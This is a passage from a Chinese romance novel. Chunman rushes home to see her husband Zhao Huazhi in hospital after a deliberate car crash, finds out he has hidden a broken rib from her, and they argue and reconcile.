这是临时决定的行程,营地那边离不了人,春满本是走不开的,但杨凝听说她家里有急事,二话没说把原本分给她的工作揽过去,让她赶紧订机票,先回国处理。 春满落地北央,在接机口看到了前来接她的姜早早。 “直接去医院吗?”姜早早发动车子前,看了眼副驾上坐着的满脸愁容的春满,征询她的意见。 春满扣好安全带,嗯了声。 姜早早心中叹气,为赵华致的隐瞒多了些担忧。 私人医院对病人的隐私严格保密,春满到了地方都没能见到赵华致,后来还是打了一通电话给赵华致才成功进到住院部。 姜早早陪闺蜜到病房门口,没跟进去。 春满进去不多时,江鎏出来,姜早早向江鎏投去一个询问的眼神,后者双手一摊,表示自己也不知道里面接下来是什么情况- “你怎么回来了?”赵华致在春满出现的一瞬,便不自觉地坐直了些,等到江鎏离开病房,他才开口出声。 漂洋过海这一路,春满心里惴惴不安的一直在担心。虽然姜早早告诉她这一消息时,特意说过,万幸赵华致出行开的车性能好,情况不算严重,但毕竟是车祸事故,春满总忍不住后怕。 此刻见到赵华致,春满顾不得在陪护椅上坐下,伸手摸索着医院薄被下赵华致的身体:“到底伤哪了?” 赵华致破天荒地露出个轻松的笑,拉住她的手,阻拦她的动作,让她安心:“胳膊腿都是好的,只是轻微脑震荡。” “真的?”春满一脸不相信,脑震荡需要在医院住这么久吗? 从她得到消息,到回来,已经过去十几个小时,他还在医院躺着。 不过看到赵华致此刻没什么大碍的样子,春满便没多追问。她听姜早早说了,肇事车辆故意撞向赵华致驾驶的车子,司机是赫京内部一位高管的情妇。这位高管前不久犯错惹上经济官司,现在还被警方限制人身自由。 事情复杂程度不是春满可以掺和的,赵华致还在医院便是有自己的主意。 想到这,春满一口气上不去下不来,只剩担忧。 赵华致摸了摸她手上的文身,问:“一下飞机就过来了?” 春满垂眼盯着两人的手,准确地说看的是无名指,那两处文身好似已经成为了皮肤的一部分,永永远远地存在着。 春满嗯了声。 事发突然,可选择的航班和座位有限,春满只买到了一张经济舱。 春满坐了一路,别说身体四肢疲惫酸痛,脸色简直比赵华致这个病人还要难看,更别提她做志愿者时不修边幅,皮肤状态都没怎么保养。 她把手抽回来,摸了摸自己的头发和脸,然后整了整自己的衣服,说:“你别总盯着我看,我都没来得及收拾自己。” “你怎么样都好看。”赵华致不甚在意地说。 春满想再问问他的身体情况,被赵华致抢了先:“饿不饿?陪我吃点饭。” 原本春满不觉得,听赵华致提起后,饥饿的感觉十分明显。 赵华致拨通个电话,让人把饭送进来。 一口热汤下肚,春满只觉浑身每个细胞都被安抚住,俨然把赵华致受伤情况抛在脑后。 再加上吃饭时赵华致话题不断,根本没给春满想起来的机会。 两人还没在一起的时候,经常有约饭的机会,但频率更高的是,两人只要一起吃饭便准出点突发状况打断他们,不怎么吉利。 但如今,一起吃饭变成了一件很温馨的事情。 “吃完饭你回家休息,不用在这里陪着。”赵华致主动提起。 春满嘴角一抿,并不认可他这一安排。 “休息好再过来。”赵华致继续劝,眼神坚定,气势很足,他的决定让人很难能够拒绝。 春满斟酌一番,只得答应,说:“我晚上来陪床。” 赵华致默许。 只是没等春满离开,有护士来查房,没看到赵华致提醒的眼神,一如既往地叮嘱道:“想早点出院就要听医院的话,你肋骨的情况,不适合久坐,要多躺着。家属帮忙劝着点。” 春满眼底有片刻的茫然,然后噌一下瞪向赵华致。 赵华致无声地叹气,心说还是没瞒住。 春满知道从赵华致口中能打听到多少消息取决于他愿意让自己知道多少,索性亲自去找了主治医生一趟,凭借合法妻子的身份了解真实的情况。 再回到病房,春满一言不发。 赵华致瞥见她的脸色,便知道这次不好哄。其实只是断根肋骨,伤势还算轻,怪就怪他先前自作主张把事情瞒下来。 先是不告诉她车祸,再是不说自己的真实病情。 春满回病房后没沾一下凳子,把自己的东西收回包里,便要走:“我回去休息了。” 这种时候赵华致是无论如何都不能让她带着情绪离开的。 “再陪我一会儿。”赵华致急忙留人。 春满视而不见,扭头继续走。 不想赵华致动急,扯到伤口,疼得嘶了声。 春满当即没了脾气,扭头去看他的情况:“怎么了?哪里疼?你好好躺着别乱动!” 赵华致瞅准时机抓住春满的手,捂在自己的心口处,自我检讨道:“我错了,不该瞒你。” 春满看上去温温和和的一个人,其实冷着脸的模样很有距离感。惦记着赵华致的伤,春满手抵在他的胸膛上不敢贴得太紧,时刻以反方向的力和赵华致较着劲儿。 “你刚刚哪里疼?要不要叫医生来看看?” 担心地问完,对上赵华致完全没当回事的眼神,春满以为他又一次骗了自己,气愤地把他推开,抽回自己的手。 “再也不信你了。” 下一秒,春满委屈地红了眼眶。赵华致顾不得医生的叮嘱,忍着痛也要坐起来,急忙哄人:“这次没骗你,真的扯到刀口了,不过还在可忍受的程度,不用麻烦医生。” 这是值得庆幸的事吗?春满虽然没消气,但顾及到赵华致的活动范围,还是朝他挪近些,任由对方拉住自己的手。 赵华致不满足于只拉手,把她拽到床边坐着:“真不敢再瞒你了。” “你继续瞒吧。”春满这么说纯属在赌气,“反正以你的聪明,只要想瞒我肯定能瞒得很好。最好什么事也别告诉我,我一点都不想知道。” 瞒来瞒去,怀疑和猜忌在彼此之间滋生,感情随之淡了。 没有人想把日子过成这样。 春满和房嘉恺分手时那般的干脆,赵华致怎么不怕。她看上去百无禁忌的个性,实则十分喜欢钻牛角尖,攒够了失望,离开时悄无声息。 赵华致环住春满的腰侧,她眼眶还是红的,睡眠不足加上委屈生气,眼角滚出的泪被她自以为迅速地擦干,但那滴泪仿佛滴在赵华致心上似的。 他不是没见过春满落泪,有几次夜里她也会红眼眶,有泪珠顺着眼角流到发丝间,每每赵华致都会格外的凶。 但此刻不敢对她凶。 赵华致无暇想那些旖旎的事,抬手摸了摸她的眼尾,态度放低,郑重地保证道:“下次真的不敢了,别哭。” 赵华致不安慰还好,刚安慰一句她便泪水不受控制地涌在眼眶里,吧嗒吧嗒落下来。 春满意识到自己的狼狈,弯腰将脸埋进赵华致的胸膛里,喃喃声闷闷地传出来:“我会害怕,赵华致。我害怕看不到你在哪里。” 一句话让赵华致的心扭成一团。 她要一份知情权,不是想掌控住什么权利,只是希望能陪在他的身边。 未来这么长,风雨兼程,如果眼睛上系着不透光的布条,怎么可能找得准对方所在的方向。 赵华致于茫茫人海中选择了她。 她绝对是这世界上最不想让赵华致在这个选择上输的人。